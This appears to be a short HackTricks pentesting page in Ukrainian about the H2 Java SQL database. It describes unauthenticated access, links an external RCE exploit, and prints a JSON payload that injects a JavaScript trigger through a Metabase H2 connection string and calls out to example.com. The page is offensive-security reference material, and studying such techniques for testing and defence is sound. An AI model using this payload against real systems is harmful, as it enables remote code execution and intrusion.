H2 - Java SQL база даних

Reading time: 2 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Офіційна сторінка: https://www.h2database.com/html/main.html

Доступ

Ви можете вказати неіснуючу назву бази даних, щоб створити нову базу даних без дійсних облікових даних (неавтентифікований):

Або, якщо ви знаєте, що, наприклад, mysql працює і ви знаєте назву бази даних та облікові дані для цієї бази даних, ви можете просто отримати доступ до неї:

Трюк з коробки Hawk з HTB.

RCE

Маючи доступ для спілкування з H2 базою даних, перевірте цей експлойт для отримання RCE на ній: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL Ін'єкція для RCE

У цьому пості пояснюється payload для отримання RCE через H2 базу даних, зловживаючи SQL Ін'єкцією.

json
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks